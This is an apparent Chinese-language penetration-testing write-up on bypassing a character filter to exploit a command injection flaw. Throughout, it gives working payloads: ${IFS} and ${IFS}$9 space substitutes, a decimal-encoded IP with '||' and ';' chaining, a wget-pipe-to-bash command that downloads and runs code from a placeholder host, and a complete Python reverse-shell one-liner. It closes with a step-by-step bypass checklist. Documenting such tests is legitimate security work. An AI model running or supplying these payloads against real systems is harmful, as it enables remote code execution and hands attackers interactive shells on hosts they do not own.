一次命令执行漏洞的绕过之我是菜逼
字数 955 2025-08-05 08:19:06
命令执行漏洞绕过技术详解
漏洞发现与初步测试
- 漏洞发现:通过搜索响应中的关键字,发现一处报错信息可能包含命令执行漏洞
- 初始测试:
- 使用
whoami测试回显 → 无回显 - 尝试使用DNSLog测试 → 发现特殊字符被过滤
- 使用
过滤机制分析
-
被过滤的特殊字符:
.、(、)、&、:、/、空格([space])- 这些字符都被替换为
-字符
-
绕过思路:
- 需要证明是否存在命令执行漏洞
- 将IP地址转换为数字形式绕过
.过滤 - 使用替代方法绕过空格过滤
空格绕过技术
-
${IFS}绕过:
- 在Linux下,
${IFS}是分隔符,可以替代空格 - 示例:
${IFS}
- 在Linux下,
-
\({IFS}\)9绕过:
$起截断作用9为当前shell进程的第九个参数,始终为空字符串- 示例:
${IFS}$9
命令执行验证
-
构造payload:
- 使用
||和;闭合命令前后部分 - 示例:
111||wget${IFS}3162736550;
- 使用
-
反弹shell尝试:
- 直接编码(base64或hex)反弹shell → 超过长度限制
- 改用wget下载并执行payload
下载执行payload方法
-
wget下载执行:
wget -q -O - http://xxx.com | bash-q:安静模式-O -:输出到标准输出
-
实际payload构造:
11||wget${IFS}-q${IFS}-O${IFS}-${IFS}xxxxxxxxx|bash;
反弹shell技术
-
Python反弹shell:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" -
遇到的问题:
/bin/bash路径可能不正确 → 尝试替换为/bin/sh
经验总结
-
漏洞发现技巧:
- 通过响应中指纹关键词搜索快速定位问题
- 关注SQL语句报错、代码执行的error信息等
-
命令连接符问题:
- 思考为什么命令连接符没有被过滤
- 这可能是防御机制的薄弱点
-
技术提升方向:
- 需要熟悉更多绕过技术
- 掌握多种编程语言的反弹shell方法
- 了解不同系统的路径差异
完整绕过流程总结
- 确认存在命令执行漏洞
- 分析过滤规则,找出被过滤的字符
- 使用数字IP绕过
.过滤 - 使用
${IFS}或${IFS}$9绕过空格过滤 - 构造payload时使用
||和;闭合命令 - 当直接反弹shell受限时,采用下载执行方式
- 尝试多种反弹shell方法(Python、Bash等)
- 注意系统路径差异(
/bin/bashvs/bin/sh)